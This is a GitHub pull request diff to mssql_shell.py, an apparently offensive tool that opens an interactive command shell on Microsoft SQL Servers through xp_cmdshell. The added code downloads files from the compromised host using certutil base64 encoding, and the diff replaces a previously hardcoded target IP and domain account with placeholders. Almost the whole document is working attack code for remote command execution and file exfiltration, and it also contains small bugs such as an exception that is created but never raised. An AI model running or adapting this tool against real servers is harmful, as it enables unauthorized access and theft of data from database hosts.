Skip to content

[MSSQL] Adds a download functionality to mssql_shell.py. #3

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
87 changes: 80 additions & 7 deletions mssql/mssql_shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,24 +2,40 @@
from __future__ import print_function

# Author: Alamot
# Download functionality: Qazeer
# Use pymssql >= 1.0.3 (otherwise it doesn't work correctly)
# To upload a file type: UPLOAD local_path remote_path
# To upload a file, type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt C:\temp\myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
# To dowload a file from the remote host, type: DOWNLOAD remote_path [local_path]
# e.g. DOWNLOAD myfile.txt
# Or DOWNLOAD remotefile.txt /tmp/file.txt
# Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512).
import _mssql
import base64
import ntpath
import os
import random
import shlex
import string
import sys
import tqdm
import hashlib
from io import open
try: input = raw_input
except NameError: pass

MSSQL_SERVER="10.13.38.11"
MSSQL_USERNAME = "Domain\\sa_user"
MSSQL_PASSWORD = "**********"
MSSQL_SERVER = '<IP>'
MSSQL_USERNAME = '<USERNAME>'
MSSQL_PASSWORD = '<PASSWORD>'
BUFFER_SIZE = 5*1024
TIMEOUT = 30


def id_generator(size=12, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))


def process_result(mssql):
username = ""
computername = ""
Expand All @@ -43,7 +59,7 @@ def upload(mssql, stored_cwd, local_path, remote_path):
data = f.read()
md5sum = hashlib.md5(data).hexdigest()
b64enc_data = "".join(base64.encodestring(data).split())

print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
Expand All @@ -60,6 +76,57 @@ def upload(mssql, stored_cwd, local_path, remote_path):
else:
print("ERROR! MD5 hashes do NOT match!")


def dowload(mssql, stored_cwd, remote_path, local_path=""):
try:
remote_path = remote_path.replace('"', '').replace('\'', '')
if local_path == "":
local_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), ntpath.basename(remote_path))

print("Downloading " + remote_path + " to " + local_path)

tmp_filename = '%TEMP%\\' + id_generator() + ".b64"
cmd = 'del "' + tmp_filename + '"'
mssql.execute_query("EXEC xp_cmdshell '" + cmd + "'")

cmd = 'certutil -encode "' + remote_path + '" "' + tmp_filename + '"'
mssql.execute_query("EXEC xp_cmdshell 'cd " + stored_cwd + " & " + cmd + " & echo %username%^|%COMPUTERNAME% & cd'")

cmd = 'type "' + tmp_filename + '"'
mssql.execute_query("EXEC xp_cmdshell 'cd " + stored_cwd + " & " + cmd + " & echo %username%^|%COMPUTERNAME% & cd'")

certutil_result = list(mssql)

if "CERTIFICATE-----" not in str(certutil_result[0][0]):
raise Exception("ERROR! Encoding with Certutil failed!")

file_b64 = ""
for row in certutil_result[1:-4]:
columns = list(row)
file_b64 += row[columns[-1]]

with open(local_path, 'wb') as f:
data = base64.b64decode(file_b64, None)
md5sum = hashlib.md5(data).hexdigest()
f.write(data)

tmp_filename = '%TEMP%\\' + tmp_filename + ".b64"
cmd = 'del "' + tmp_filename + '"'
mssql.execute_query("EXEC xp_cmdshell '" + cmd + "'")

cmd = 'certutil -hashfile "' + remote_path + '" MD5'
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
if md5sum in [row[row.keys()[-1]].strip() for row in mssql if row[row.keys()[-1]]]:
print("MD5 hashes match: " + md5sum)
else:
Exception("ERROR! MD5 hashes do NOT match!")

return "echo *** DOWNLOAD PROCEDURE FINISHED ***"

except Exception as e:
return "echo *** ERROR WHILE DOWNLOADING THE FILE: " + e + " ***"


def shell():
mssql = None
stored_cwd = None
Expand All @@ -74,7 +141,7 @@ def shell():
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
(username, computername, cwd) = process_result(mssql)
stored_cwd = cwd

while True:
cmd = raw_input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
if cmd.lower()[0:4] == "exit":
Expand All @@ -87,10 +154,16 @@ def shell():
else:
upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
elif cmd[0:8] == "DOWNLOAD":
dowload_cmd = shlex.split(cmd, posix=False)
if len(dowload_cmd) < 3:
cmd = dowload(mssql, stored_cwd, dowload_cmd[1])
else:
cmd = dowload(mssql, stored_cwd, dowload_cmd[1], dowload_cmd[2])
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
(username, computername, cwd) = process_result(mssql)
stored_cwd = cwd

except _mssql.MssqlDatabaseException as e:
if e.severity <= 16:
print("MSSQL failed: "+str(e))
Expand Down